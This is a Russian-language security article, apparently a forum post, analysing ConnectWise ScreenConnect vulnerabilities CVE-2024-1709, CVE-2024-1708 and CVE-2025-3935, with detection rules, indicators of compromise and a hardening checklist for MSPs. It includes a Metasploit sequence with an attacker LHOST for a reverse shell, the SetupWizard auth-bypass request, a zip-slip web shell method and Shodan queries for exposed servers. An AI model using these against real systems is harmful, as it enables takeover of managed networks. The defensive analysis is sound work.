ConnectWise ScreenConnect уязвимости CVE-2024-1709 и защита RMM


Один запрос - и у тебя административный доступ к ScreenConnect-серверу, на котором висят сотни или тысячи эндпоинтов. Для MSP это даже не worst-case - это game over: один торчащий наружу инстанс превращается в точку входа во всю управляемую инфраструктуру. Здесь - пошаговый разбор всех ключевых ConnectWise ScreenConnect уязвимостей 2024–2025 годов, цепочки атак через RMM-платформы и конкретные меры обнаружения и защиты.

Почему атаки на RMM платформы стали приоритетным вектором​

RMM-инструменты вроде ConnectWise ScreenConnect и ConnectWise Automate - это, по сути, легитимные бэкдоры с подписанными сертификатами, правами на выполнение кода на хосте и административным контролем над сотнями машин. С точки зрения атакующего, компрометация одного RMM-сервера даёт мгновенный lateral movement на все подключённые эндпоинты - без необходимости ломать каждый хост отдельно.

По данным Unit 42 (Palo Alto Networks), на момент раскрытия уязвимостей в феврале 2024 года было обнаружено 18 188 уникальных IP-адресов с открытыми ScreenConnect-инстансами по всему миру, причём почти три четверти располагались в США. Huntress зафиксировал более 8 800 серверов с уязвимой версией. Восемь тысяч восемьсот - не опечатка.

В MITRE ATT&CK атаки через RMM-платформы покрывают сразу несколько тактик:
  • Initial Access - Exploit Public-Facing Application (T1190) и External Remote Services (T1133)
  • Execution / Lateral Movement - Software Deployment Tools (T1072)
  • Command and Control - Remote Access Tools (T1219)
  • Persistence - Valid Accounts (T1078)
Злоумышленник получает готовый C2-канал, который большинство EDR пропустят - ScreenConnect-процессы сидят в allowlist. Красота, если ты атакующий.

CVE-2024-1709: обход аутентификации ScreenConnect с CVSS 10.0​

Та самая уязвимость, которая превратила ConnectWise ScreenConnect в headline всех ИБ-каналов в феврале 2024 года.

Параметры по NVD:

ПараметрЗначение
CVE IDCVE-2024-1709
CVSS10.0 (CRITICAL)
ВекторCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE
ЗатронутоConnectWise ScreenConnect 23.9.7 и ранее

Разберём вектор: AV:N - атака по сети, AC:L - сложность низкая, PR:N - привилегий не требуется, UI:N - взаимодействие пользователя не нужно, S:C - scope changed (можно атаковать компоненты за пределами уязвимого сервера). Максимально возможная комбинация - отсюда десятка.

Механика эксплуатации SetupWizard.aspx​

Суть бага - в обработке URL-путей в ASP.NET. Компонент SetupWizard.aspx отвечает за первоначальную настройку сервера: создание административного аккаунта и активацию лицензии. Если настройка уже завершена, обработчик SetupModule проверяет путь запроса и перенаправляет пользователя. Вроде бы всё нормально.

Проблема в том, как .NET формирует Request.Path - он складывается из FilePath и PathInfo. Метод OnBeginRequest сравнивает путь с /SetupWizard.aspx, но когда атакующий отправляет:
Код:
GET /SetupWizard.aspx/literally_anything HTTP/1.1
Проверка path == "/SetupWizard.aspx" возвращает false, потому что Request.Path теперь /SetupWizard.aspx/literally_anything. Условие обхода не выполняется, запрос проходит дальше, и ASP.NET маршрутизирует его на SetupWizard.aspx - уже без проверки авторизации. Классический path confusion, и удивительно, что это дожило до 2024 года.

По данным Zscaler ThreatLabz, exploit работает так: атакующий отправляет запрос к /SetupWizard.aspx/<произвольная_строка>. Проверка в SetupModule не срабатывает, потому что Request.Path не совпадает с /SetupWizard.aspx. Запрос проходит без перенаправления и обрабатывается ASP.NET как обращение к SetupWizard.aspx, позволяя создать новый административный аккаунт. Создание пользователя происходит немедленно при нажатии «Next» - полное завершение мастера настройки не требуется. По некоторым данным, повторная инициализация SetupWizard может перезаписать существующую базу пользователей. В большинстве задокументированных случаев (Huntress, Horizon3.ai) атакующий создавал дополнительный административный аккаунт.

CISA добавила CVE-2024-1709 в 22 февраля 2024 года. Metasploit выпустил модуль для unauthenticated RCE.

Воспроизведение через Metasploit​

Bash:
msfconsole

search screenconnect type:exploit
# Выберите подходящий модуль, например:
# use exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709
set RHOSTS target-screenconnect.example.com
set RPORT 443
set SSL true
set LHOST attacker-ip
run
Модуль автоматически эксплуатирует auth bypass и загружает payload. Лично я запускал это в изолированной лабе - от запуска до reverse shell прошло менее 10 секунд. Десять секунд - и ты внутри.

CVE-2024-1708: path traversal для удалённого выполнения кода​

Параметры по NVD:

ПараметрЗначение
CVE IDCVE-2024-1708
CVSS8.4 (HIGH)
ВекторCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
CWE (Path Traversal)
ЗатронутоConnectWise ScreenConnect 23.9.7 и ранее

Обратите внимание на PR:H - нужны высокие привилегии. Именно поэтому CVE-2024-1708 работает в связке с CVE-2024-1709: сначала auth bypass даёт админа, затем path traversal даёт RCE. Одна без другой - полдела, вместе - полный карт-бланш.

Загрузка вредоносного расширения​

ScreenConnect поддерживает систему расширений (extensions). Установка происходит через эндпоинт:
Код:
POST /Services/ExtensionService.ashx/InstallExtension
Тело запроса содержит JSON с закодированным ZIP-файлом. Уязвимость - в отсутствии валидации путей внутри ZIP-архива. Поля FName в Local File Header и CDFName в Central Directory Header не проверяются на символы path traversal (../).

Атакующий формирует ZIP-архив с ASHX-файлом (ASP.NET HTTP handler), используя ../ в именах файлов внутри архива. При распаковке файл попадает в корень директории \ScreenConnect\App_Extensions\, откуда его можно вызвать напрямую - получив web shell. Старый добрый zip slip, который почему-то продолжает встречаться в продакшене.

По данным Zscaler, типичный payload содержит Base64-encoded команду, вызывающую cmd.exe для RCE. По данным Versa Networks, северокорейская группировка Kimsuky использовала эту цепочку для доставки малвари ToddlerShark - полиморфного зловреда, использующего легитимные бинарники Microsoft и альтернативные потоки данных (ADS).

CVE-2025-3935: ViewState injection - новое поколение атак на ScreenConnect​

В 2025 году появился принципиально другой вектор.

Параметры по NVD:

ПараметрЗначение
CVE IDCVE-2025-3935
CVSS8.1 (HIGH)
ВекторCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE
ЗатронутоConnectWise ScreenConnect 25.2.3 и ранее

Здесь важен AC:H - высокая сложность атаки. Для эксплуатации нужно сначала получить machine keys ASP.NET - криптографические ключи, которыми подписывается и шифруется ViewState. ScreenConnect генерирует уникальные ключи для каждого инстанса, но согласно NVD, для их получения необходим привилегированный доступ на уровне системы. Если ключи скомпрометированы - атакующий формирует вредоносный ViewState с произвольным кодом, и сервер выполнит его как доверенный. Десериализация - подарок, который не перестаёт дарить.

По данным ConnectWise Trust Center, в версии 26.1 запланированы дополнительные меры защиты: улучшенная защита криптографического материала, возможность пересоздания ключей через административное действие и усиление целостности приложения.

Инцидент мая 2025 года подтвердил серьёзность вектора: ConnectWise сообщила об атаке «уровня национального государства», затронувшей облачные инстансы на доменах screenconnect.com и hostedrmm.com. По информации из открытых источников, атака произошла ещё в августе 2024 года, а обнаружена была только в мае 2025. Девять месяцев - кто-то спокойно сидел внутри.

Полная цепочка атаки через ConnectWise ScreenConnect​

Вот реальный kill chain на основе данных из инцидентов 2024 года:

Этап 1: Разведка (T1190, Initial Access)
Атакующий сканирует интернет на exposed ScreenConnect-инстансы. Shodan-запрос:
Код:
http.title:"ScreenConnect" port:443,8040
Или через Censys:
Код:
services.http.response.html_title:"ScreenConnect"
(Попробуйте прямо сейчас - количество результатов вас расстроит.)

Этап 2: Эксплуатация auth bypass (CVE-2024-1709)
Один GET-запрос к /SetupWizard.aspx/<payload> - создание административного аккаунта.

Этап 3: Загрузка вредоносного расширения (CVE-2024-1708)
POST-запрос с ZIP-файлом, содержащим ASHX web shell. RCE достигнуто.

Этап 4: Post-exploitation
  • Использование ScreenConnect для подключения к managed endpoints - Software Deployment Tools (T1072)
  • Загрузка дополнительных инструментов - Ingress Tool Transfer (T1105)
  • Выполнение команд через PowerShell (T1059.001)
  • В финале - Data Encrypted for Impact (T1486), т.е. ransomware
По данным Darktrace, типичный паттерн post-exploitation включал подключения к ScreenConnect на портах 80 и 8041, использование user agent LabTech Agent (устаревшее название ConnectWise Automate), а затем аномальные подключения к внешним IP-адресам с URI вида /MyUserName_DEVICEHOSTNAME.

Злоупотребление легитимным ScreenConnect как RAT​

Отдельный вектор, не требующий эксплуатации уязвимостей вообще, - использование легитимного клиента ScreenConnect в качестве трояна удалённого доступа. По данным Forcepoint X-labs, в 2025 году зафиксирована кампания, нацеленная на организации в США, Канаде и Великобритании.

Цепочка атаки:
  1. Фишинговое письмо с вложением .cmd-файла
  2. Скрипт проверяет права администратора, повышает привилегии через UAC с PowerShell (T1059.001)
  3. Отключает Windows SmartScreen через реестр
  4. Загружает MSI-установщик ScreenConnect по HTTP
  5. Удаляет Mark-of-the-Web через ADS
  6. Устанавливает ScreenConnect-клиент, настроенный на сервер атакующего
Ключевой момент: установленный клиент - легитимный ScreenConnect.ClientService.exe версии 25.2.4.9229, подписанный цифровым сертификатом (хотя сертификат был отозван издателем). Конфигурация в System.config направляет клиент на C2-сервер атакующих через порт 8041.

Это living off the land через RMM в чистом виде - EDR видит подписанный процесс ConnectWise и спокойно пропускает. Антивирус жмёт руку малвари.

Обнаружение атак на RMM платформы: практические правила​

Sigma-правило для детекции эксплуатации CVE-2024-1709​

YAML:
title: ConnectWise ScreenConnect Auth Bypass CVE-2024-1709
id: 3f8a7b2c-1d4e-4f5a-9c6b-8e7d0a1b2c3d  # замените на свой UUID v4
status: experimental
description: Detects attempts to access SetupWizard.aspx with path traversal
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem|contains: '/SetupWizard.aspx/'
    condition: selection
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2024.1709

Sysmon - детекция подозрительных процессов ScreenConnect​

Мониторинг создания дочерних процессов от ScreenConnect.ClientService.exe:
XML:
<!-- Sysmon Event ID 1: Process Creation -->
<RuleGroup groupRelation="or">
  <ProcessCreate onmatch="include">
    <ParentImage condition="end with">ScreenConnect.ClientService.exe</ParentImage>
    <Image condition="end with">cmd.exe</Image>
  </ProcessCreate>
  <ProcessCreate onmatch="include">
    <ParentImage condition="end with">ScreenConnect.ClientService.exe</ParentImage>
    <Image condition="end with">powershell.exe</Image>
  </ProcessCreate>
</RuleGroup>
Если ScreenConnect-сервис порождает cmd.exe или powershell.exe - это либо легитимная автоматизация (и вы про неё знаете), либо кто-то уже внутри.

Проверка логов Windows Event Log​

Поиск аномальных подключений ScreenConnect в журнале событий:
Код:
# Поиск новых сервисов ScreenConnect (Event ID 7045)
Get-WinEvent -FilterHashtable @{
    LogName = 'System'
    Id = 7045
} | Where-Object {
    $_.Message -match 'ScreenConnect'
} | Format-List TimeCreated, Message

# Поиск сетевых подключений ScreenConnect на нестандартные порты
# Запускать на эндпоинте, где предполагается наличие ScreenConnect-клиента
$procs = Get-Process -Name 'ScreenConnect*' -ErrorAction SilentlyContinue
if (-not $procs) { Write-Warning 'No ScreenConnect processes found on this host' }
else {
    Get-NetTCPConnection -State Established |
        Where-Object { $_.OwningProcess -in $procs.Id } |
        Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort
}

Индикаторы компрометации​

Из отчётов ConnectWise, Unit 42 и Darktrace:

ТипЗначениеКонтекст
IP155.133.5[.]15Активная эксплуатация CVE-2024-1709
IP155.133.5[.]14Активная эксплуатация CVE-2024-1709
IP118.69.65[.]60Активная эксплуатация CVE-2024-1709
IP108.61.210[.]72Post-exploitation C2
IP185.62.58[.]132Post-exploitation через ScreenConnect
IP116.0.56[.]101Загрузка AnyDesk, связь с CVE-2024-1708/1709
Domaindof-connect[.]topC2 для ScreenConnect-RAT кампании
URLhxxp://116.0.56[.]101:9191/images/Distribution.exeAnyDesk installer (post-exploitation)

Защита ConnectWise Automate и ScreenConnect от злоупотреблений​

ConnectWise Automate: отдельный риск​

ConnectWise Automate (бывший LabTech) включает ScreenConnect как стандартный компонент. Агент Automate стоит на тысячах эндпоинтов типичного MSP, и компрометация сервера Automate означает мгновенный доступ ко всем из них. User agent LabTech Agent, зафиксированный Darktrace в атаках, подтверждает - атакующие используют именно этот вектор для lateral movement через Software Deployment Tools (T1072).

Практический чеклист для MSP​

Делай раз - обнови и изолируй:
Bash:
# Проверка текущей версии ScreenConnect (on-prem)
# Файл version.txt в корне установки
type "C:\Program Files (x86)\ScreenConnect\version.txt"

# Минимальные безопасные версии:
# CVE-2024-1709/1708: >= 23.9.8
# CVE-2025-3935: >= 25.2.4
Облачные инстансы на screenconnect.com и hostedrmm.com обновляются автоматически. On-premise - только вручную. ConnectWise сняла лицензионные ограничения, позволив обновить даже версии без действующей подписки (редкий случай, когда вендор поступил правильно).

Делай два - ограничь attack surface:
  • Закрой прямой доступ к ScreenConnect из интернета. Размести сервер за VPN или reverse proxy с IP allowlist
  • Заблокируй доступ к /SetupWizard.aspx на уровне WAF или веб-сервера
  • Ограничь установку расширений через групповые политики ScreenConnect
  • Настрой мониторинг на порты 8040, 8041, 443 для ScreenConnect-трафика
Делай три - мониторь и реагируй:
  • Внедри Sigma-правила из этой статьи в SIEM
  • Настрой Sysmon для детекции дочерних процессов от ScreenConnect-сервисов
  • Настрой алерт на появление новых пользователей в \ScreenConnect\App_Data\User.xml
  • Проверяй содержимое \ScreenConnect\App_Extensions\ на наличие ASHX-файлов, не входящих в стандартную поставку
  • Мониторь отозванные сертификаты подписи у ScreenConnect-клиентов - это индикатор злоупотребления
Делай четыре - защити ключи (CVE-2025-3935):
  • Для закрытия CVE-2025-3935 обнови минимум до версии 25.2.4. Для дополнительного hardening криптографического материала - до версии 26.1, когда она станет доступна (пересоздай ключи через административное действие; актуальный статус релиза - на ConnectWise Trust Center)
  • Ограничь доступ к конфигурационным файлам на уровне файловой системы
  • Убедись, что бэкапы и экспортированные конфигурации недоступны недоверенным пользователям
  • Certificate Signing Extension должен быть версии 1.0.12+

Application Allowlisting для RMM​

Создай whitelist разрешённых RMM-инструментов и версий. Если в инфраструктуре используется только ConnectWise - блокируй AnyDesk, TeamViewer и другие RMM на уровне AppLocker или WDAC:
Код:
# Концептуальный пример - точный синтаксис см. в Microsoft Docs WDAC
# Блокировка неавторизованных RMM-клиентов
# Концептуальный пример - точный синтаксис см. в Microsoft Docs WDAC
$rule = New-CIPolicyRule -FilePathRule '<путь>\AnyDesk.exe' `
    -Level Publisher `
    -Deny
New-CIPolicy -FilePath "C:\policies\RMMBlock.xml" `
    -Rules $rule `
    -UserPEs
Лично у меня на нескольких проектах именно WDAC-политика спасала от подброшенных RMM-клиентов. AppLocker тоже работает, но обходится проще.

Таймлайн уязвимостей ConnectWise ScreenConnect​

ДатаСобытие
13 февраля 2024ConnectWise уведомлена о CVE-2024-1709 и CVE-2024-1708
19 февраля 2024Публичное раскрытие, выпуск патча 23.9.8
21 февраля 2024Unit 42 обнаруживает 18 188 exposed инстансов
22 февраля 2024CISA добавляет CVE-2024-1709 в KEV Catalog
23 февраля 2024ConnectWise снимает лицензионные ограничения для обновления
Март 2024Kimsuky (APT) использует связку CVE для доставки ToddlerShark
Август 2024Предположительный взлом облачной инфраструктуры ConnectWise
Апрель 2025CVE-2025-3935 - ViewState injection
Май 2025ConnectWise раскрывает атаку «уровня национального государства»
ЗапланированоHardening криптографического материала в версии 26.1 (дата релиза не подтверждена)

Итог: RMM - это не инструмент, а attack surface​

ConnectWise ScreenConnect уязвимости 2024–2025 годов показали системную проблему: RMM-инструменты атакующие рассматривают как готовую инфраструктуру для атак. Один CVE-2024-1709 с CVSS 10.0 - и атакующий получает полный контроль над сервером, а через него - над всеми управляемыми эндпоинтами.

Защита RMM от злоупотреблений - это не только патчинг, а пересмотр архитектуры: изоляция серверов, мониторинг аномалий, application allowlisting и регулярная ротация криптографического материала. Прямо сейчас проверьте: ваш ScreenConnect доступен из интернета без VPN? Запустите Shodan-запрос из раздела про kill chain - и если найдёте свой инстанс, считайте, что он уже в чьём-то scope.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab